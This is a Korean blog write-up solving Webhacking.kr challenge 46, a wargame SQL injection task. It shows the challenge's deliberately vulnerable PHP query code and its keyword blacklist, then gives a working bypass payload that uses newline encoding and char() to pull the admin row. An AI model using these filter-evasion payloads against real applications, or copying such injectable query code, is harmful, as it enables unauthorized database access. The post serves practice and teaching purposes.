관리 메뉴

Hax0r

[풀이] Webhacking.kr 46번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 46번 문제

영준이 2017.09.16 05:05

46번은 300 스코어의 해당하는 문제이며, 비교적 난이도는 쉽다.


우선 문제내 힌트가 숨겨져있고, 본 힌트에는 서버 사이드 쪽 코드가 노출되어있다.

그렇다면 코드를 보자 !, GET 메소드로 전송되는 lv 파리미터 값 중, " ", "/", "*", "%" 를 빈 값으로 치환한다.

이후,  lv 파리미터 값 중  union, select, from, challenge, 0x, limit, cash 해당 문자가 포함되어있을 경우 프로세스를 종료한다.


아래는 php 내부 함수 `eregi` 의 설명이다.


This function is identical to ereg() except that it ignores case distinction when matching alphabetic characters



그리고 q variable 에 lv parameter 값이 대입되는데, 질의된 쿼리의 결과 내 id 값이 admin 일 경우에 문제가 해결된다.

코드를 보듯이, 이 문제는 SQL Injection 문제다.



<?
if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET
[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(
eregi("union",$_GET[lv])) exit();
if(
eregi("select",$_GET[lv])) exit();
if(
eregi("from",$_GET[lv])) exit();
if(
eregi("challenge",$_GET[lv])) exit();
if(
eregi("0x",$_GET[lv])) exit();
if(
eregi("limit",$_GET[lv])) exit();
if(
eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if(
$q && $_GET[lv])
{
echo(
"$q[0] information<br><br>money : $q[1]");

if(
$q[0]=="admin") @solve();

}
?>


위 조건들에서 치환되는 과정을 건너뛰고, 우리가 원하는 쿼리 질의까지 하려면 문자열을 우회하면 된다.

공백을 우회하기 위해서는 %0A나 %0D를 이용하면 된다.


아래와 같은 쿼리문을 만들면 본 문제를 해결 할 수 있다.

그렇다면 3%0Aor%0Aid='admin' 값을 예상해 볼 수 있다.



select id,cash from members where lv=x or id='admin'


Magic quotes 옵션이 켜져있으니, 아래와 같이 char 함수를 이용해 문제를 해결하면 된다.



3%0Aor%0Aid=char(97,100,109,105,110)


두둥, 문제 해결





저작자 표시 비영리 변경 금지
신고